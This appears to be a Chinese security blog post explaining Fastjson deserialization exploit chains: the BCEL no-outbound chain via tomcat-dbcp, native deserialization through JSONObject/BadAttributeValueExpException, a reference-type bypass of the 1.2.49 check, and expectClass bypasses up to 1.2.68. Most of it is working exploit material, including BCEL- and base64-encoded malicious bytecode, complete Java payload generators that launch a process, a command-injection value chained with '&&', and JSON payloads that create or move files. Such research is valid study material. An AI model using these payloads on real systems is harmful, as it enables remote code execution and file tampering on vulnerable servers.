Fastjson反序列化2
上一篇主要是Fastjson反序列化的基本原理和一些绕过方法,这一篇作为补充,写上一篇没提到的链以及反序列化细节问题和fastjson>=1.2.48的绕过以及原生反序列化等,作为一个补充
Bcel不出网链
这个链主要是应对不出网的情形,之前也有TemplatesImpl利用链可以加载恶意字节码,但是需要在parse()时额外设置Feature.SupportNonPublicField
以允许访问private属性outputProperties,利用条件还是比较苛刻。
而bcel利用链不需要反连,不要求特定的代码写法,直接传入恶意代码bytecode完成利用,而且依赖包 tomcat-dbcp 使用也比较广泛,是Tomcat的数据库驱动组件。
利用链:BasicDataSource.getConnection() > createDataSource() > createConnectionFactory()
1
| $$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$cbN$c30$Q$i$b7$a5NBJ$a1P$de$efg$cb$81$5e$b8$VqA$m$n$c2C$U$VqL$8di$5dB$82$d2$U$f8$p$ce$5c$A$81$Ew$3e$K$b1$O$a8T$CK$d9$cd$ce$cc$8e$d7$f6$c7$e7$cb$h$80u$U$y$98$Y$b50$86q$D$T$3aOrLqL$5bHc$86c$96c$8e$n$bd$a1$7c$Vm2$q$L$c5$wCj$x8$97$MYG$f9$f2$a0$7dU$93$e1$89$5b$f3$I$c99$81p$bd$aa$h$w$5d$ff$80$a9$a8$a1Z$e4$e1l$df$u$af$cc$60l$I$ef$c7$8e$R$9dw$9a$ee$8d$5bRAi$f7p$fbN$c8$ebH$F$3e$c92$95$c8$V$97$fb$eeulCC1X$95$a0$j$K$b9$a3$b4$ad$a9$ed$d6t$af$N$L$bd$i$f36$W$b0H$fb$d1$I$c2$c6$S$96$Z$G$ff$f1f$Y$8fQ$cf$f5$eb$a5$e3$b6$l$a9$x$d9$n$b5$d7$Kyhs$86$fe_$e1a$ad$vE$c40$f0$a7$97$e6$aa$cb$a8S$e4$LE$e7$8f$86$ce$93$92wR0$ac$U$ba$d8J$U$w$bf$5e$een8$K$D$n$5b$zj$Y$edV$9e4$c2$e0V_D$b9X$c5$i$Mz5$bd$S$60$fa$f0$Um$aaJ$94$Z$e5$9e$d5$t$b0$87$98$cePL$c7$60$S$7d$U$edo$B$b2$e8$a7l$60$a0$d3$7cA$K$cd$8d$3c$p$91K$3e$ouz$8f$cc$de$x$d2g$e4$c6$df$lb$d2$qi$P$J$b5$ed0$fdis3F9a$GaVg$9b$M$e19$MR5D$lG$c2$e1$c8$9bD$M$c7$93$8d$7c$BZv$Er$84$C$A$A
|
1 2 3 4 5 6 7 8 9 10 11
| { { "x":{ "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource", "driverClassLoader": { "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader" }, "driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$cbN$c30$Q$i$b7$a5NBJ$a1P$de$efg$cb$81$5e$b8$VqA$m$n$c2C$U$VqL$8di$5dB$82$d2$U$f8$p$ce$5c$A$81$Ew$3e$K$b1$O$a8T$CK$d9$cd$ce$cc$8e$d7$f6$c7$e7$cb$h$80u$U$y$98$Y$b50$86q$D$T$3aOrLqL$5bHc$86c$96c$8e$n$bd$a1$7c$Vm2$q$L$c5$wCj$x8$97$MYG$f9$f2$a0$7dU$93$e1$89$5b$f3$I$c99$81p$bd$aa$h$w$5d$ff$80$a9$a8$a1Z$e4$e1l$df$u$af$cc$60l$I$ef$c7$8e$R$9dw$9a$ee$8d$5bRAi$f7p$fbN$c8$ebH$F$3e$c92$95$c8$V$97$fb$eeulCC1X$95$a0$j$K$b9$a3$b4$ad$a9$ed$d6t$af$N$L$bd$i$f36$W$b0H$fb$d1$I$c2$c6$S$96$Z$G$ff$f1f$Y$8fQ$cf$f5$eb$a5$e3$b6$l$a9$x$d9$n$b5$d7$Kyhs$86$fe_$e1a$ad$vE$c40$f0$a7$97$e6$aa$cb$a8S$e4$LE$e7$8f$86$ce$93$92wR0$ac$U$ba$d8J$U$w$bf$5e$een8$K$D$n$5b$zj$Y$edV$9e4$c2$e0V_D$b9X$c5$i$Mz5$bd$S$60$fa$f0$Um$aaJ$94$Z$e5$9e$d5$t$b0$87$98$cePL$c7$60$S$7d$U$edo$B$b2$e8$a7l$60$a0$d3$7cA$K$cd$8d$3c$p$91K$3e$ouz$8f$cc$de$x$d2g$e4$c6$df$lb$d2$qi$P$J$b5$ed0$fdis3F9a$GaVg$9b$M$e19$MR5D$lG$c2$e1$c8$9bD$M$c7$93$8d$7c$BZv$Er$84$C$A$A" } }: "y" }
|
但是getConnection()肯定像getoutputProperties会被fastjson当作访问器而调用,所以这段payload先把BasicDataSource对象放在value处,然后又变成key处,触发fastjson对BasicDataSource对象使用toString()触发其任意getter。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| import com.alibaba.fastjson.JSON; import com.sun.org.apache.bcel.internal.Repository; import com.sun.org.apache.bcel.internal.classfile.Utility; import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import java.io.IOException;
public class Fastjson_Bcel { public static void main(String[] args) throws IOException { JavaClass cls = Repository.lookupClass(Evil.class); String code = Utility.encode(cls.getBytes(),true); System.out.println(code); String payload = "{\n" + " {\n" + " \"x\":{\n" + " \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" + " \"driverClassLoader\": {\n" + " \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" + " },\n" + " \"driverClassName\": \""+"$$BCEL$$"+code+"\"\n" + " }\n" + " }: \"x\"\n" + "}" ; JSON.parse(payload); } }
|
1 2 3 4 5 6 7 8 9 10 11 12
| import java.io.IOException;
public class Evil { static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { throw new RuntimeException(e); } } }
|
调试过程
取到第一个{
,把以后内容的当作key解析,即:
1 2 3 4 5 6 7 8 9
| { "x":{ "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource", "driverClassLoader": { "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader" }, "driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$cbN$c30$Q$i$b7$a5NBJ$a1P$de$efg$cb$81$5e$b8$VqA$m$n$c2C$U$VqL$8di$5dB$82$d2$U$f8$p$ce$5c$A$81$Ew$3e$K$b1$O$a8T$CK$d9$cd$ce$cc$8e$d7$f6$c7$e7$cb$h$80u$U$y$98$Y$b50$86q$D$T$3aOrLqL$5bHc$86c$96c$8e$n$bd$a1$7c$Vm2$q$L$c5$wCj$x8$97$MYG$f9$f2$a0$7dU$93$e1$89$5b$f3$I$c99$81p$bd$aa$h$w$5d$ff$80$a9$a8$a1Z$e4$e1l$df$u$af$cc$60l$I$ef$c7$8e$R$9dw$9a$ee$8d$5bRAi$f7p$fbN$c8$ebH$F$3e$c92$95$c8$V$97$fb$eeulCC1X$95$a0$j$K$b9$a3$b4$ad$a9$ed$d6t$af$N$L$bd$i$f36$W$b0H$fb$d1$I$c2$c6$S$96$Z$G$ff$f1f$Y$8fQ$cf$f5$eb$a5$e3$b6$l$a9$x$d9$n$b5$d7$Kyhs$86$fe_$e1a$ad$vE$c40$f0$a7$97$e6$aa$cb$a8S$e4$LE$e7$8f$86$ce$93$92wR0$ac$U$ba$d8J$U$w$bf$5e$een8$K$D$n$5b$zj$Y$edV$9e4$c2$e0V_D$b9X$c5$i$Mz5$bd$S$60$fa$f0$Um$aaJ$94$Z$e5$9e$d5$t$b0$87$98$cePL$c7$60$S$7d$U$edo$B$b2$e8$a7l$60$a0$d3$7cA$K$cd$8d$3c$p$91K$3e$ouz$8f$cc$de$x$d2g$e4$c6$df$lb$d2$qi$P$J$b5$ed0$fdis3F9a$GaVg$9b$M$e19$MR5D$lG$c2$e1$c8$9bD$M$c7$93$8d$7c$BZv$Er$84$C$A$A" } }
|

第一次先把x解析为key

然后同样加载出BasicDataSource类,还原它的属性

把BasicDataSource类放入jsonObject中(因为有x做键)

这里使用hashmap来储存键值

然后直接弹计算机了?,其实是在map.put后idea对JSONObject进行了toString

忽略呈现器就不会自动toString了

最后把产生的object返回,成为key,然后把key用toString处理

然后就在里面调用了getter。
Tips
BasicDataSource类在旧版本的 tomcat-dbcp 包中,对应的路径是 org.apache.tomcat.dbcp.dbcp.BasicDataSource。
比如:6.0.53、7.0.81等版本。MVN 依赖写法如下:
1 2 3 4 5 6
| <!-- https://mvnrepository.com/artifact/org.apache.tomcat/dbcp --> <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>dbcp</artifactId> <version>6.0.53</version> </dependency>
|
在Tomcat 8.0之后包路径有所变化,更改为了 org.apache.tomcat.dbcp.dbcp2.BasicDataSource,所以构造PoC的时候需要注意一下。 MVN依赖写法如下:
1 2 3 4 5 6
| <!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-dbcp --> <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-dbcp</artifactId> <version>9.0.8</version> </dependency>
|
Fastjson原生反序列化
fastjson<=1.2.48
JSONArray与JSONObject的toString方法都是会调用任意getter的,同时它们实现了Serializable接口,可以通过反序列化构造链子打之前的几种加载恶意类的方法。
所以先构造出恶意JSONObject,用其他类包装以触发toString。
1 2 3 4 5 6 7 8 9 10 11
| public static Object rtJSONObject() throws Exception { String base64Code ="yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ="; byte[] code = Base64.getDecoder().decode(base64Code); TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][]{code}); setFieldValue(obj, "_name", "666"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); JSONObject jsonObject = new JSONObject(); jsonObject.put("key", obj); return jsonObject; }
|
BadAttributeValueExpException
这里反序列化获取val属性,如果不为字符串则toString()

直接反射改一下就行
1 2 3 4 5 6 7 8 9 10
| private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static Object rtBadAttributeobj() throws Exception { BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); setFieldValue(badAttributeValueExpException,"val",rtJSONObject()); return badAttributeValueExpException; }
|
fastjson>=1.2.49
为JSONObject和JSONArray写了readObject方法,反序列化时对key和value进行checkAutotype拦截恶意类使用

在其SecureObjectInputStream类当中重写了resolveClass,在其中调用了checkAutoType方法做类的检查


但是这种拦截实际上是不安全的,流程是其中的ObjectInputStream -> readObject,然后SecureObjectInputStream.readObject(),然后再进入readObject -> resolveClass

1 2 3
| ObjectInputStream -> readObject xxxxxx(省略中间过程) SecureObjectInputStream -> readObject -> resolveClass
|
本身ObjectInputStream就不安全,套了一层安全的SecureObjectInputStream
但是SecureObjectInputStream -> readObject -> resolveClass
不会被用来处理引用类型,导致如果我们一开始传入了一个引用类型,就能直接绕过检查。
而向List、set、map类型中添加同样的对象时即可成功利用
伪代码长这样
1 2 3 4 5 6 7 8 9 10
| TemplatesImpl templates = TemplatesImplUtil.getEvilClass("calc");
JSONArray jsonArray = new JSONArray(); jsonArray.add(templates); BadAttributeValueExpException bd = getBadAttributeValueExpException(jsonArray);
ArrayList<Object> arrayList = new ArrayList<>(); arrayList.add(bd); arrayList.add(templates);
|
demo:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68
|
import javax.management.BadAttributeValueExpException; import java.lang.reflect.Field; import java.util.*;
import com.alibaba.fastjson.JSONArray; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
public class Fastjson2 { private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static Object rtEvilObj() throws Exception { String base64Code ="yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ="; byte[] code = Base64.getDecoder().decode(base64Code); TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][]{code}); setFieldValue(obj, "_name", "666"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); return obj; } public static Object rtJsonArray() throws Exception { JSONArray jsonArray = new JSONArray(); jsonArray.add(rtEvilObj()); return jsonArray; } public static Object rtBadAttributeObj() throws Exception { BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); setFieldValue(badAttributeValueExpException,"val",rtJsonArray()); return badAttributeValueExpException; } public static Object rtMap() throws Exception { HashMap hashMap = new HashMap(); hashMap.put(rtEvilObj(),rtBadAttributeObj()); return hashMap; } public static Object rtList() throws Exception { List list = new ArrayList(); list.add(rtEvilObj()); list.add(rtBadAttributeObj()); return list; } public static Object rtSet() throws Exception { Set set = new HashSet(); set.add(rtEvilObj()); set.add(rtBadAttributeObj()); return set; } public static void main(String[] args) throws Exception { System.out.println("Map:"+Base64.getEncoder().encodeToString(Output.serialize(rtMap()).toByteArray())); System.out.println("List:"+Base64.getEncoder().encodeToString(Output.serialize(rtList()).toByteArray())); System.out.println("Set:"+Base64.getEncoder().encodeToString(Output.serialize(rtSet()).toByteArray())); }
}
|
1.2.48<=fastjson<=1.2.68
https://www.yuque.com/ph0ebus/security/orv8ct6a29f1q7yr#t0b4v
https://blog.csdn.net/mole_exp/article/details/122315526
https://su18.org/post/fastjson/#8-fastjson-1268
如果传入了expectClass肯定是能导致绕过的

而ThrowableDeserializer、JavaBeanDeserializer中的checkAutotype正好传入了

ThrowableDeserializer
假设有一个有问题的Exception类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| package com.alibaba.fastjson.parser;
import java.io.IOException;
public class PingException extends Exception {
private String domain;
public PingException() { super(); }
public String getDomain() { return domain; }
public void setDomain(String domain) { this.domain = domain; }
@Override public String getMessage() { try { Runtime.getRuntime().exec("cmd /c ping "+domain); } catch (IOException e) { return e.getMessage(); }
return super.getMessage(); } }
|
1 2 3 4 5
| { "@type":"java.lang.Exception", "@type":"com.alibaba.fastjson.parser.PingException", "domain":"b1ue.cn&&calc" }
|
这样就能通过Exception(白名单类)找到ThrowableDeserializer传入exceptClass,然后成功加载PingException类了
Exception在白名单

然后通过Exception类获取到了ThrowableDeserializer

然后ThrowableDeserializer中的expectClass被传入了Throwable.class,这是绕过的关键

因为传入了expectClass,所以expectClassFlag为true

然后加载出有问题的任意继承Exception类的类
JavaBeanDeserializer
JavaBeanDeserializer类似,并且expectClass可控

java.lang.AutoCloseable是一个在白名单中,使用fastjson默认的反序列化器JavaBeanDeserializer,并且子类能进行许多危险操作的类,分析过程和上面差不多
创建空文件
1 2 3 4 5 6
| { "@type": "java.lang.AutoCloseable", "@type": "java.io.FileOutputStream", "file": "/1.txt", "append": "false" }
|
文件迁移
1 2 3 4 5
| <dependency> <groupId>org.aspectj</groupId> <artifactId>aspectjtools</artifactId> <version>1.9.5</version> </dependency>
|
1 2 3 4 5 6
| { '@type':"java.lang.AutoCloseable", '@type':'org.eclipse.core.internal.localstore.SafeFileOutputStream', 'targetPath':'./111', 'tempPath':'/tmp/111' }
|